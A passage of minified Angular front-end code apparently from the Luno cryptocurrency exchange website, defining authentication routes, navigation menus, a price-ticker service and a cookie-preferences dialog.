Yt="auth-web-app",qt=window.location.href.includes(Yt),$t=[{path:qt?`${Yt}/:lang/authorize`:":lang/authorize",loadChildren:()=>Promise.all([n.e(735),n.e(501),n.e(107),n.e(592),n.e(822)]).then(n.bind(n,38492)).then(t=>t.AuthorizeModule)},{path:qt?`${Yt}/:lang/confirm_email`:":lang/confirm_email",loadChildren:()=>n.e(418).then(n.bind(n,67418)).then(t=>t.ConfirmEmailModule)},{path:qt?`${Yt}/:lang/login`:":lang/login",loadChildren:()=>Promise.all([n.e(735),n.e(501),n.e(376),n.e(462),n.e(279),n.e(864)]).then(n.bind(n,14998)).then(t=>t.AuthLoginModule)},{path:qt?`${Yt}/:lang/login/oauth2v2`:":lang/login/oauth2v2",loadChildren:()=>Promise.all([n.e(735),n.e(501),n.e(376),n.e(462),n.e(28),n.e(279),n.e(656)]).then(n.bind(n,35656)).then(t=>t.LoginOauthModule)},{path:qt?`${Yt}/:lang/recover`:":lang/recover",loadChildren:()=>Promise.all([n.e(735),n.e(501),n.e(376),n.e(462),n.e(107),n.e(516)]).then(n.bind(n,84516)).then(t=>t.RecoverAccountModule)},{path:qt?`${Yt}/:lang/recovery_web`:":lang/recovery_web",loadChildren:()=>Promise.all([n.e(735),n.e(501),n.e(376),n.e(462),n.e(107),n.e(516)]).then(n.bind(n,84516)).then(t=>t.RecoverAccountModule)},{path:qt?`${Yt}/:lang/report_fraud`:":lang/report_fraud",loadChildren:()=>Promise.all([n.e(735),n.e(501),n.e(592),n.e(443)]).then(n.bind(n,34443)).then(t=>t.ReportFraudModule)},{path:qt?`${Yt}/:lang/secure_account`:":lang/secure_account",loadChildren:()=>Promise.all([n.e(735),n.e(501),n.e(107),n.e(127)]).then(n.bind(n,92496)).then(t=>t.SecureAccountModule),canActivate:[Gt],data:{flags:["secure_account_flow"],fallbackRoute:":lang/lock_account",preserveQueryParamsOnFallback:!0}},{path:qt?`${Yt}/:lang/signup`:":lang/signup",loadChildren:()=>Promise.all([n.e(735),n.e(376),n.e(28),n.e(996)]).then(n.bind(n,81592)).then(t=>t.SignupRoutingModule)},{path:":lang/verify_email",loadChildren:()=>n.e(766).then(n.bind(n,43766)).then(t=>t.VerifyEmailModule)},{path:":lang/lock_account",loadChildren:()=>Promise.all([n.e(735),n.e(501),n.e(168)]).then(n.bind(n,46168)).then(t=>t.LockModule)},{path:"**",loadChildren:()=>Promise.all([n.e(735),n.e(501),n.e(376),n.e(462),n.e(279),n.e(864)]).then(n.bind(n,14998)).then(t=>t.AuthLoginModule)}];let zt=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=s.oAB({type:t}),t.\u0275inj=s.cJS({providers:[{provide:r.mr,useValue:"/"}],imports:[[mt.Bz.forRoot($t,{scrollPositionRestoration:"enabled"})],mt.Bz]}),t})();var Zt=n(3786),Wt=n(44036),Jt=(()=>((Jt||(Jt={})).HELP_INBOX="help-inbox",Jt))(),Qt=(()=>{return(t=Qt||(Qt={})).au="au",t.fr="fr",t.eu="eu",t.gb="gb",t.id="id",t.it="it",t.my="my",t.ng="ng",t.sg="sg",t.ug="ug",t.us="us",t.za="za",t.zm="zm",Qt;var t})(),Kt=(()=>{return(t=Kt||(Kt={}))[t.FACEBOOK=0]="FACEBOOK",t[t.TWITTER=1]="TWITTER",t[t.LINKEDIN=2]="LINKEDIN",t[t.YOUTUBE=3]="YOUTUBE",t[t.MEDIUM=4]="MEDIUM",t[t.INSTAGRAM=5]="INSTAGRAM",Kt;var t})(),Xt=n(66846),te=n(13660);function ee(t,e,n){const i=(0,te.s)(t,n);if(!i)return t;const s=new RegExp(`/${i}\\b`);return t.replace(s,`/${e}`)}var ne=n(22210);let ie=(()=>{class t{constructor(t,e,n){var i;this.commonInfoService=t,this.i18n=e,this.localeService=n,this.hideTradeSection=!1,this.isCustomerUS=!1,this.isCustomerUS=`${null===(i=this.commonInfoService.navInfo)||void 0===i?void 0:i.loc.code}`.toLocaleLowerCase()===Qt.us,this.setTranslations()}getSideNavigationGroups(t){const e=[];return e.push(this.getHomeNavigation(t.staticAssetsPath)),e.push(this.getAccountNavigation(!!t.isAuthenticated,t.staticAssetsPath)),e.push(this.getPriceChartsNavigation(t.staticAssetsPath)),e.push(this.getProductsNavigation(t.staticAssetsPath)),e.push(this.getResourcesNavigation(t.staticAssetsPath,!!t.isAuthenticated,!1)),e.push(this.getAboutNavigation(t.staticAssetsPath,!1)),e}getFooterNavigationGroups(t){return(null==t?void 0:t.webAssetsUrl)&&t.staticAssetsPath?[this.getCoFounderNavigation(t.preferredLocale||null,t.webAssetsUrl),this.getAboutNavigation(t.staticAssetsPath,!0),this.getResourcesNavigation(t.staticAssetsPath,!1,!0),this.getProductsNavigation(t.staticAssetsPath),this.getLegalNavigation()].filter(Boolean):[null]}getMobileFooterNavigationGroups(t){return[this.getMobileAboutNavigation(t.staticAssetsPath),this.getMobileProductsNavigation()].filter(Boolean)}getPriceChartsItems(t){const e={iconUrl:{activeIcon:`${t}/icons/sidenav/ic_bitcoin_activated.svg`,activeIconV3:`${t}/v3/icons/sidenav/coins/bitcoin.svg`},action:{name:this.i18n.translateText("Bitcoin price",void 0,"Component: Menu item"),url:`/${this.localeService.urlPath}/price/BTC`},activeForRoutes:["/price/BTC"]},n={iconUrl:{activeIcon:`${t}/icons/sidenav/ic_ethereum_activated.svg`,activeIconV3:`${t}/v3/icons/sidenav/coins/ethereum.svg`},action:{name:this.i18n.translateText("Ethereum price",void 0,"Component: Menu item"),url:`/${this.localeService.urlPath}/price/ETH`},activeForRoutes:["/price/ETH"]},i={iconUrl:{activeIcon:`${t}/icons/sidenav/ic_bch_activated.svg`,activeIconV3:`${t}/v3/icons/sidenav/coins/bitcoin_cash.svg`},action:{name:this.i18n.translateText("Bitcoin Cash price",void 0,"Component: Menu item"),url:`/${this.localeService.urlPath}/price/BCH`},activeForRoutes:["/price/BCH"]},s={iconUrl:{activeIcon:`${t}/icons/sidenav/ic_xrp_activated.svg`,activeIconV3:`${t}/v3/icons/sidenav/coins/ripple.svg`},action:{name:this.i18n.translateText("XRP price",void 0,"Component: Menu item"),url:`/${this.localeService.urlPath}/price/XRP`},activeForRoutes:["/price/XRP"]},r={iconUrl:{activeIcon:`${t}/icons/sidenav/ic_ltc_activated.svg`,activeIconV3:`${t}/v3/icons/sidenav/coins/litecoin.svg`},action:{name:this.i18n.translateText("Litecoin price",void 0,"Component: Menu item"),url:`/${this.localeService.urlPath}/price/LTC`},activeForRoutes:["/price/LTC"]};return this.isCustomerUS?[e,n]:[e,n,i,s,r]}getPriceChartsNavigation(t){return{heading:this.i18n.translateText("Price charts",void 0,"Component: Menu header"),navigationItems:this.getPriceChartsItems(t)}}getResourcesItems(){return[{matIcon:{name:"local_library",theme:"primary"},action:{name:this.i18n.translateText("Discover",void 0,"Component: Menu item"),url:"https://discover.luno.com"}},{matIcon:{name:"help",theme:"primary"},action:{name:this.i18n.translateText("Help Centre",void 0,"Component: Menu item"),url:`/help/${this.localeService.urlPath}/`},activeForRoutes:["help"]},{matIcon:{name:"update",theme:"primary"},action:{name:this.i18n.translateText("Status",void 0,"Component: Menu item"),url:"https://status.luno.com/"},activeForRoutes:["status"]}]}getResourcesNavigation(t,e,n){const i=[];return e&&i.push({iconUrl:{activeIcon:`${t}/icons/sidenav/ic_fees_activated.svg`,inactiveIcon:`${t}/icons/sidenav/ic_fees_inactive.svg`},action:{name:this.i18n.translateText("Fees",void 0,"Component: Menu item"),url:`/${this.localeService.urlPath}/countries`}}),n&&i.push({iconUrl:{activeIcon:`${t}/icons/sidenav/ic_bitcoin_activated.svg`,inactiveIcon:`${t}/icons/sidenav/ic_bitcoin_inactive.svg`},action:{name:this.i18n.translateText("Bitcoin price",void 0,"Component: Menu item"),url:`/${this.localeService.urlPath}/price/BTC`}}),{heading:this.i18n.translateText("Resources",void 0,"Component: Menu header"),navigationItems:[...i,...this.getResourcesItems()]}}getProductsItems(t){const e={matIcon:{name:"phone_android",theme:"primary"},action:{name:this.i18n.translateText("Features",void 0,"Component: Menu item"),url:`/${this.localeService.urlPath}/features`},activeForRoutes:["/features"]},n={matIcon:{name:"sell",theme:"primary"},action:{name:this.i18n.translateText("Fees",void 0,"Component: Menu item"),url:`/${this.localeService.urlPath}/countries`},activeForRoutes:["/countries"]},i={matIcon:{name:"bar_chart",theme:"primary"},action:{name:this.i18n.translateText("Exchange",void 0,"Component: Menu item"),url:`/${this.localeService.urlPath}/exchange`},activeForRoutes:["/exchange"]},s={matIcon:{name:"work",theme:"primary"},action:{name:this.i18n.translateText("Business",void 0,"Component: Menu item"),url:`/${this.localeService.urlPath}/business`},activeForRoutes:["/business"]},r={matIcon:{name:"cloud",theme:"primary"},action:{name:this.i18n.translateText("Luno API",void 0,"Component: Menu item"),url:`/${this.localeService.urlPath}/developers`},activeForRoutes:["/developers"]};return this.hideTradeSection&&this.isCustomerUS?[n,s,r]:this.hideTradeSection&&!this.isCustomerUS?[e,n,s,r]:this.isCustomerUS?[n,s,r]:[e,n,i,s,r]}getProductsNavigation(t){return{heading:this.i18n.translateText("Products",void 0,"Component: Menu header"),navigationItems:this.getProductsItems(t)}}getOtherItems(){const t=this.getTermUrl(this.customerCountry);return[{action:{name:this.i18n.translateText("Terms of use",void 0,"Component: Menu item"),url:`/${this.localeService.urlPath}/legal/${t}`}},{action:{name:this.i18n.translateText("Customer protection",void 0,"Component: Menu item"),url:`/${this.localeService.urlPath}/legal/safe`}},{action:{name:this.i18n.translateText("Legal & compliance",void 0,"Component: Menu item"),url:`/${this.localeService.urlPath}/legal/compliance`}},{action:{name:this.i18n.translateText("Privacy policy",void 0,"Component: Menu item"),url:`/${this.localeService.urlPath}/legal/privacy`}},{action:{name:this.i18n.translateText("Security",void 0,"Component: Menu item"),url:`/${this.localeService.urlPath}/security`}}]}getLegalNavigation(){return{heading:this.i18n.translateText("Legal",void 0,"Component: Menu header"),navigationItems:this.getOtherItems()}}getAboutItems(t,e){const n=[{matIcon:{name:"maps_home_work",theme:"primary"},action:{name:this.i18n.translateText("Company",void 0,"Component: Menu item"),url:`/${this.localeService.urlPath}/about`},activeForRoutes:["/about"]},{matIcon:{name:"groups",theme:"primary"},action:{name:this.i18n.translateText("Careers",void 0,"Component: Menu item"),url:`/${this.localeService.urlPath}/careers`},activeForRoutes:["/careers"]},{matIcon:{name:"newspaper",theme:"primary"},action:{name:this.i18n.translateText("Press",void 0,"Component: Menu item"),url:`/${this.localeService.urlPath}/press`},activeForRoutes:["/press"]}];return e&&n.push({iconUrl:{activeIcon:`${t}/icons/sidenav/ic_press_activated.svg`,inactiveIcon:`${t}/icons/sidenav/ic_press_inactive.svg`},action:{name:this.i18n.translateText("Press Kit",void 0,"Component: Menu item"),url:`${t}/docs/press_kit_global_v4.pdf`}}),n}getAboutNavigation(t,e){return{heading:this.i18n.translateText("About",void 0,"Component: Menu header"),navigationItems:this.getAboutItems(t,e)}}getMobileAboutItems(t){return[{iconUrl:{activeIcon:`${t}/icons/sidenav/ic_company_activated.svg`,inactiveIcon:`${t}/icons/sidenav/ic_company_inactive.svg`},action:{name:this.i18n.translateText("About Luno",void 0,"Component: Menu item"),url:`/${this.localeService.urlPath}/about`}},{iconUrl:{activeIcon:`${t}/icons/sidenav/ic_careers_activated.svg`,inactiveIcon:`${t}/icons/sidenav/ic_careers_inactive.svg`},action:{name:this.i18n.translateText("Careers",void 0,"Component: Menu item"),url:`/${this.localeService.urlPath}/careers`}},{matIcon:{name:"local_library",theme:"primary"},action:{name:this.i18n.translateText("Discover",void 0,"Component: Menu item"),url:"https://discover.luno.com"}},{matIcon:{name:"help",theme:"primary"},action:{name:this.i18n.translateText("Help Centre",void 0,"Component: Menu item"),url:`/help/${this.localeService.urlPath}`},activeForRoutes:["help"]}]}getMobileAboutNavigation(t){return{heading:this.i18n.translateText("About",void 0,"Component: Menu header"),navigationItems:this.getMobileAboutItems(t)}}getMobileProductsItems(){const t={action:{name:this.i18n.translateText("Features",void 0,"Component: Menu item"),url:`/${this.localeService.urlPath}/features`}},e={action:{name:this.i18n.translateText("Exchange",void 0,"Component: Menu item"),url:`/${this.localeService.urlPath}/exchange`}},n={action:{name:this.i18n.translateText("Fees",void 0,"Component: Menu item"),url:`/${this.localeService.urlPath}/countries`}},i={action:{name:this.i18n.translateText("Business",void 0,"Component: Menu item"),url:`/${this.localeService.urlPath}/business`}},s={action:{name:this.i18n.translateText("Privacy policy",void 0,"Component: Menu item"),url:`/${this.localeService.urlPath}/legal/privacy`}};return this.isCustomerUS?[n,i,s]:[t,n,e,i,s]}getMobileProductsNavigation(){return{heading:this.i18n.translateText("Products",void 0,"Component: Menu header"),navigationItems:this.getMobileProductsItems()}}getLanguageItems(t,e,n){const i=[];if(!t)return i;const s=Object.keys(t);return Object.keys(t).forEach(r=>{i.push({iconUrl:{inactiveIcon:`${n}/icons/languages/${r}.png`},action:{name:t[r],url:ee(e,r,s),id:r}})}),i}getLanguageNavigation(t,e,n){if(t)return{heading:this.i18n.translateText("Language",void 0,"Component: Menu header"),navigationItems:this.getLanguageItems(t,e,n)}}getCoFounderItems(t){return[{action:{url:"https://asosiasiblockchain.co.id"},iconUrl:{inactiveIcon:`${t}/website/common/img/asosiasi.png`}}]}getCoFounderNavigation(t,e){return"ID"!==t?null:{heading:this.i18n.translateText("Co-founder of",void 0,"Component: Menu header"),navigationItems:this.getCoFounderItems(e)}}getAccountItems(t,e){const n=[];return t?n.push({iconUrl:{activeIcon:`${e}/icons/sidenav/ic_signout_activated.svg`,inactiveIcon:`${e}/icons/sidenav/ic_signout_inactive.svg`},action:{name:this.i18n.translateText("Sign out",void 0,"Component: Menu item"),url:`${window.location.origin}/logout`}}):n.push({matIcon:{name:"person_outline",theme:"primary"},action:{name:this.i18n.translateText("Sign up",void 0,"Component: Menu item"),url:`${window.location.origin}/${this.localeService.urlPath}/signup`,style:Xt.gw3.PRIMARY}},{matIcon:{name:"person",theme:"primary"},action:{name:this.i18n.translateText("Sign in",void 0,"Component: Menu item"),url:`${window.location.origin}/${this.localeService.urlPath}/login`}}),n}getAccountNavigation(t,e){return{heading:this.i18n.translateText("Account",void 0,"Component: Menu header"),navigationItems:this.getAccountItems(t,e)}}getSocialIcons(t){return[{action:{id:Kt.TWITTER.toString(),url:"https://twitter.com/LunoGlobal",name:"Twitter"}},{action:{id:Kt.YOUTUBE.toString(),url:"https://www.youtube.com/channel/UCdKv3ViymZkRiBPh2ogSnKA",name:"YouTube"}},{action:{id:Kt.LINKEDIN.toString(),url:"https://www.linkedin.com/company/lunoglobal",name:"LinkedIn"}}]}getWebsiteTopNavigationItems(t,e){const n=[];return e&&n.push(this.getTickerItem(e)),this.isCustomerUS||n.push(this.featuresItem),n.push(this.walletItem),this.isCustomerUS||n.push(this.exchangeItem),t?n.push(this.signOutItem):n.push(this.signInItem,this.signUpItem),n}getHelpCentreTopNavigationItems(t,e,n){const i=[];return e&&i.push({action:{name:e,url:`/${this.localeService.urlPath}/price/BTC`}}),t?(i.push({action:{name:this.i18n.translateText("Wallet",void 0,"Component: Menu item"),url:"/wallet"}}),n&&i.push({action:{name:this.i18n.translateText("Your messages",void 0,"Component: Menu item"),url:`${window.location.origin}/help/${this.localeService.urlPath}/tickets`,id:Jt.HELP_INBOX}}),i.push({action:{name:this.i18n.translateText("Sign out",void 0,"Component: Menu item"),url:`${window.location.origin}/logout`,style:Xt.gw3.PRIMARY}})):(i.push({action:{name:this.i18n.translateText("Wallet",void 0,"Component: Menu item"),url:"/wallet"},hideOnTablet:!0}),this.hideTradeSection||i.push({action:{name:this.i18n.translateText("Exchange",void 0,"Component: Menu item"),url:`/${this.localeService.urlPath}/exchange`},hideOnTablet:!0}),this.isCustomerUS||i.push({action:{name:this.i18n.translateText("Features",void 0,"Component: Menu item"),url:"/features"},hideOnLaptopScreen:!0}),i.push({action:{name:this.i18n.translateText("Sign in",void 0,"Component: Menu item"),url:`${window.location.origin}/${this.localeService.urlPath}/login?redirect=${window.location.pathname}`}},{action:{name:this.i18n.translateText("Sign up",void 0,"Component: Menu item"),url:`${window.location.origin}/${this.localeService.urlPath}/signup`,style:Xt.gw3.PRIMARY}})),i}getHelpCentreSideNavigationGroups(t,e,n){if(!t)return null;const i=[];return i.push(this.getHelpCentreHomeNavigation(t.staticAssetsPath,!!t.isAuthenticated,e,n)),i.push(this.getHelpTopicsNavigation(t.staticAssetsPath)),i.push(this.getHelpOtherResourcesNavigation(t.staticAssetsPath)),i}getHomeNavigation(t){return{navigationItems:this.getHomeItems(t)}}getHomeItems(t){return[{matIcon:{name:"home",theme:"primary"},action:{name:this.i18n.translateText("Home",void 0,"Component: Menu item"),url:`${window.location.origin}/${this.localeService.urlPath}/`},activeForRouteRegex:"^/([a-z]{2})?/?([a-z]{2})?$"}]}getTermUrl(t){return t&&[Qt.au,Qt.my,Qt.ng,Qt.sg,Qt.ug,Qt.za,Qt.zm].includes(t)?`terms-of-use-${t}`:"terms"}getHelpCentreHomeNavigation(t,e,n,i){return{navigationItems:this.getHelpCentreHomeItems(t,e,n,i)}}getHelpCentreHomeItems(t,e,n,i){const s=[];return s.push({iconUrl:{activeIcon:`${t}/icons/sidenav/ic_home_activated.svg`,activeIconV3:`${t}/v3/icons/help/ic_help_home.svg`},action:{name:this.i18n.translateText("Help Home",void 0,"Component: Menu item"),url:`/help/${this.localeService.urlPath}/`},activeForRouteRegex:"^/help/([a-z]{2})/?$"}),e&&n&&s.push({iconUrl:{activeIcon:`${t}/icons/sidenav/ic_help_inbox.svg`,activeIconV3:`${t}/v3/icons/help/ic_support_inbox.svg`},action:{name:this.i18n.translateText("Your support inbox",void 0,"Component: Menu item"),url:`/help/${this.localeService.urlPath}/tickets`},activeForRouteRegex:"^/help/([a-z]{2})/tickets/?$",badgeCount$:i}),s}getHelpTopicsNavigation(t){return{heading:this.i18n.translateText("Help topics",void 0,"Component: Menu header"),navigationItems:this.getHelpTopicsItems(t)}}getHelpTopicsItems(t){return[{iconUrl:{activeIcon:`${t}/icons/sidenav/ic_help_get_started.svg`,activeIconV3:`${t}/v3/icons/help/ic_getting_started.svg`},action:{name:this.i18n.translateText("Getting started",void 0,"Component: Menu item"),url:`/help/${this.localeService.urlPath}/categories/1000000384`},activeForRouteRegex:"^/help/([a-z]{2})/categories/1000000384/?$"},{iconUrl:{activeIcon:`${t}/icons/sidenav/ic_help_identity.svg`,activeIconV3:`${t}/v3/icons/help/ic_identity_verification.svg`},action:{name:this.i18n.translateText("Identity verification",void 0,"Component: Menu item"),url:`/help/${this.localeService.urlPath}/categories/1000126762`},activeForRouteRegex:"^/help/([a-z]{2})/categories/1000126762/?$"},{iconUrl:{activeIcon:`${t}/icons/sidenav/ic_help_deposits.svg`,activeIconV3:`${t}/v3/icons/help/ic_deposits_withdrawls.svg`},action:{name:this.i18n.translateText("Deposits and withdrawals",void 0,"Component: Menu item"),url:`/help/${this.localeService.urlPath}/categories/1000126763`},activeForRouteRegex:"^/help/([a-z]{2})/categories/1000126763/?$"},{iconUrl:{activeIcon:`${t}/icons/sidenav/ic_help_wallet.svg`,activeIconV3:`${t}/v3/icons/help/ic_wallet.svg`},action:{name:this.i18n.translateText("Using the wallet",void 0,"Component: Menu item"),url:`/help/${this.localeService.urlPath}/categories/11000001462`},activeForRouteRegex:"^/help/([a-z]{2})/categories/11000001462/?$"},{iconUrl:{activeIcon:`${t}/icons/sidenav/ic_help_exchange.svg`,activeIconV3:`${t}/v3/icons/help/ic_exchange.svg`},action:{name:this.i18n.translateText("Using the exchange",void 0,"Component: Menu item"),url:`/help/${this.localeService.urlPath}/categories/11000001463`},activeForRouteRegex:"^/help/([a-z]{2})/categories/11000001463/?$"},{iconUrl:{activeIcon:`${t}/icons/sidenav/ic_help_security.svg`,activeIconV3:`${t}/v3/icons/help/ic_security.svg`},action:{name:this.i18n.translateText("Security",void 0,"Component: Menu item"),url:`/help/${this.localeService.urlPath}/categories/11000001464`},activeForRouteRegex:"^/help/([a-z]{2})/categories/11000001464/?$"}]}getHelpOtherResourcesNavigation(t){return{heading:this.i18n.translateText("Other resources",void 0,"Component: Menu header"),navigationItems:this.getHelpOtherResourcesItems(t)}}getHelpOtherResourcesItems(t){return[{matIcon:{name:"local_library",theme:"primary"},action:{name:this.i18n.translateText("Discover",void 0,"Component: Menu item"),url:"https://discover.luno.com"}},{iconUrl:{activeIcon:`${t}/icons/sidenav/ic_help_website.svg`,activeIconV3:`${t}/v3/icons/help/ic_home.svg`},action:{name:this.i18n.translateText("Luno website",void 0,"Component: Menu item"),url:`/${this.localeService.urlPath}/`}},{iconUrl:{activeIcon:`${t}/icons/sidenav/ic_help_status.svg`,activeIconV3:`${t}/v3/icons/help/ic_status_page.svg`},action:{name:this.i18n.translateText("Luno status page",void 0,"Component: Menu item"),url:"https://luno.statuspage.io/"}}]}getTickerItem(t){return{action:{name:t,url:`/${this.localeService.urlPath}/price/BTC`},hideOnMobile:!0}}get featuresItem(){return{action:{name:this.featuresText,url:`/${this.localeService.urlPath}/features`},hideOnMobile:!0}}get walletItem(){return{action:{name:this.walletText,url:"/wallet"},hideOnMobile:!0,hideOnTablet:!0}}get exchangeItem(){return{action:{name:this.exchangeText,url:`/${this.localeService.urlPath}/exchange`},hideOnMobile:!0,hideOnTablet:!0}}get tradeItem(){return{action:{name:this.tradeText,url:"/trade"},hideOnMobile:!0,hideOnTablet:!0}}get signInItem(){return{action:{name:this.signInText,url:`/${this.localeService.urlPath}/login`},hideOnMobile:!0}}get signUpItem(){return{action:{name:this.signUpText,url:`/${this.localeService.urlPath}/signup`,style:Xt.gw3.PRIMARY}}}get signOutItem(){return{action:{name:this.signOutText,url:"/logout"}}}androidAppUrl(){return`https://play.google.com/store/apps/details?hl=${this.commonInfoService.language}&id=co.bitx.android.wallet`}iosAppUrl(){return"https://itunes.apple.com/app/bitx-wallet/id927362479?mt=8"}setTranslations(){this.featuresText=this.i18n.translateText("Features",void 0,"Component: Menu item"),this.walletText=this.i18n.translateText("Wallet",void 0,"Component: Menu item"),this.exchangeText=this.i18n.translateText("Exchange",void 0,"Component: Menu item"),this.tradeText=this.i18n.translateText("Trade",void 0,"Component: Menu item"),this.signInText=this.i18n.translateText("Sign in",void 0,"Component: Menu item"),this.signUpText=this.i18n.translateText("Sign up",void 0,"Component: Menu item"),this.signOutText=this.i18n.translateText("Sign out",void 0,"Component: Menu item")}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(Ft.E),s.LFG(ne.K),s.LFG(Ht.O))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t})();var se=n(35053);let re=(()=>{class t{constructor(t){this.httpService=t}fetch(){return this.httpService.get("/ajax/1/display_ticker",null)}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(jt.OE))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t})();var oe=n(12815),ae=n(27809),ce=n(76677),le=n(91797);let ue=(()=>{class t{constructor(t,e,n){this.dialogRef=t,this.windowRef=e,this.i18n=n,this.functionalCheckbox=!1,this.performanceCheckbox=!1,this.marketingCheckbox=!1}ngOnInit(){this.processConfigs()}processConfigs(){this.title=this.i18n.translateText("Cookie preferences",void 0,"Component: dialog title"),this.bodyHtml=this.i18n.translateText(`When you visit our website, we may store cookies on your browser. We use cookies to create a personalised web experience and understand user behaviour on our website. We respect your right to privacy so you can choose not to allow some types of cookies. For more information see our <a href="${this.windowRef.nativeWindow.location.origin}/en/legal/cookie-policy" target="_blank">Cookie Policy</a>.`,void 0,"Component: Dialog body"),this.preferencesTitle=this.i18n.translateText("Manage cookies:",void 0,"Component: Section title"),this.saveButton={action:{name:this.i18n.translateText("Save",void 0,"Component: Button"),style:Xt.gw3.PRIMARY}},this.strictlyNecessaryText=this.i18n.translateText("Strictly necessary cookies",void 0,"Component: Checkbox heading"),this.functionalText=this.i18n.translateText("Functional cookies",void 0,"Component: Checkbox heading"),this.performanceText=this.i18n.translateText("Performance cookies",void 0,"Component: Checkbox heading"),this.marketingText=this.i18n.translateText("Marketing cookies",void 0,"Component: Checkbox heading"),this.strictlyNecessaryDetailsText=this.i18n.translateText("These cookies are necessary for our sites to function.",void 0,"Component: Checkbox description"),this.functionalDetailsText=this.i18n.translateText("These cookies allow us to remember your preferences.",void 0,"Component: Checkbox description"),this.performanceDetailsText=this.i18n.translateText("These cookies help us improve the performance of our sites.",void 0,"Component: Checkbox description"),this.marketingDetailsText=this.i18n.translateText("Luno uses third party service providers to tailor advertising to you or your interests.",void 0,"Component: Checkbox description")}onFunctionalCheckboxClick(t){this.functionalCheckbox=t.checked}onPerformanceCheckboxClick(t){this.performanceCheckbox=t.checked}onMarketingCheckboxClick(t){this.marketingCheckbox=t.checked}onSave(){this.dialogRef.close({functional:this.functionalCheckbox,performance:this.performanceCheckbox,marketing:this.marketingCheckbox})}onClose(){this.dialogRef.close()}}return t.\u0275fac=function(e){return new(e||t)(s.Y36(S.so),s.Y36(Ot.X),s.Y36(ne.K))},t.\u0275cmp=s.Xpm({type:t,selectors:[["luno-cookie-preferences-dialog"]],decls:34,vars:13,consts:[["matRipple","",1,"cross-icon",3,"click"],[1,"title-container"],[1,"divider"],[1,"body-container"],[1,"body-text",3,"innerHTML"],[1,"checkboxes-container"],["disabled","",3,"checked"],["color","primary",3,"change"],[1,"button-container"],[3,"button","clicked"]],template:function(t,e){1&t&&(s.TgZ(0,"a",0),s.NdJ("click",function(){return e.onClose()}),s.TgZ(1,"mat-icon"),s._uU(2,"close"),s.qZA(),s.qZA(),s.TgZ(3,"div",1),s.TgZ(4,"h3"),s._uU(5),s.qZA(),s._UZ(6,"div",2),s.qZA(),s.TgZ(7,"div",3),s._UZ(8,"p",4),s.TgZ(9,"h4"),s._uU(10),s.qZA(),s.TgZ(11,"div",5),s.TgZ(12,"div"),s.TgZ(13,"mat-checkbox",6),s._uU(14),s.qZA(),s.TgZ(15,"p"),s._uU(16),s.qZA(),s.qZA(),s.TgZ(17,"div"),s.TgZ(18,"mat-checkbox",7),s.NdJ("change",function(t){return e.onFunctionalCheckboxClick(t)}),s._uU(19),s.qZA(),s.TgZ(20,"p"),s._uU(21),s.qZA(),s.qZA(),s.TgZ(22,"div"),s.TgZ(23,"mat-checkbox",7),s.NdJ("change",function(t){return e.onPerformanceCheckboxClick(t)}),s._uU(24),s.qZA(),s.TgZ(25,"p"),s._uU(26),s.qZA(),s.qZA(),s.TgZ(27,"div"),s.TgZ(28,"mat-checkbox",7),s.NdJ("change",function(t){return e.onMarketingCheckboxClick(t)}),s._uU(29),s.qZA(),s.TgZ(30,"p"),s._uU(31),s.qZA(),s.qZA(),s.qZA(),s.TgZ(32,"div",8),s.TgZ(33,"luno-button",9),s.NdJ("clicked",function(){return e.onSave()}),s.qZA(),s.qZA(),s.qZA()),2&t&&(s.xp6(5),s.Oqu(e.title),s.xp6(3),s.Q6J("innerHTML",e.bodyHtml,s.oJD),s.xp6(2),s.Oqu(e.preferencesTitle),s.xp6(3),s.Q6J("checked",!0),s.xp6(1),s.Oqu(e.strictlyNecessaryText),s.xp6(2),s.Oqu(e.strictlyNecessaryDetailsText),s.xp6(3),s.Oqu(e.functionalText),s.xp6(2),s.Oqu(e.functionalDetailsText),s.xp6(3),s.Oqu(e.performanceText),s.xp6(2),s.Oqu(e.performanceDetailsText),s.xp6(3),s.Oqu(e.marketingText),s.xp6(2),s.Oqu(e.marketingDetailsText),s.xp6(2),s.Q6J("button",e.saveButton))},directives:[C.wG,E.Hw,x.oG,le.r0],styles:["[_nghost-%COMP%]{color:var(--color-primary)}[_nghost-%COMP%]     .mat-checkbox-inner-container{margin-top:4px}h3[_ngcontent-%COMP%]{margin:0}luno-button[_ngcontent-%COMP%]{max-width:344px;width:100%}luno-button[_ngcontent-%COMP%]     a{width:100%}.checkboxes-container[_ngcontent-%COMP%]{display:flex;flex-wrap:wrap}.checkboxes-container[_ngcontent-%COMP%]   div[_ngcontent-%COMP%]{width:50%;box-sizing:border-box;padding:14px}.checkboxes-container[_ngcontent-%COMP%]   div[_ngcontent-%COMP%]:nth-child(odd){padding-left:0}.checkboxes-container[_ngcontent-%COMP%]   div[_ngcontent-%COMP%]:nth-child(even){padding-right:0}@media screen and (max-width: 768px){.checkboxes-container[_ngcontent-%COMP%]   div[_ngcontent-%COMP%]{padding:14px 0;width:100%}}.checkboxes-container[_ngcontent-%COMP%]   div[_ngcontent-%COMP%]   p[_ngcontent-%COMP%]{margin-left:24px;margin-bottom:0;margin-top:8px;font-size:14px;opacity:.75}  .mat-dialog-cookie-preferences mat-dialog-container.mat-dialog-container{width:618px;padding:0;max-height:80vh}.divider[_ngcontent-%COMP%]{margin-right:-24px;margin-left:-24px;margin-top:20px;border-bottom:1px solid #e5e9f0!important}.button-container[_ngcontent-%COMP%]{display:flex;margin-top:22px;justify-content:center}.body-container[_ngcontent-%COMP%]{padding:0 24px 24px;margin-top:8px;overflow:auto}@media screen and (max-width: 768px){.body-container[_ngcontent-%COMP%]{margin-top:0}}.title-container[_ngcontent-%COMP%]{padding:24px 24px 0}.body-text[_ngcontent-%COMP%]{line-height:1.75}.cross-icon[_ngcontent-%COMP%]{float:right;cursor:pointer;border-radius:24px;margin:20px 12px 0}mat-icon[_ngcontent-%COMP%]{color:var(--color-secondary);margin:4px}[_nghost-%COMP%]     a{color:var(--color-primary);text-decoration:underline}"],changeDetection:0}),t})();var he=n(76491),de=n(94637);let pe=(()=>{class t{constructor(t){this.cookiePreferencesService=t,this.config=new he.X(null),this.visible=new he.X(!1),this.action=new 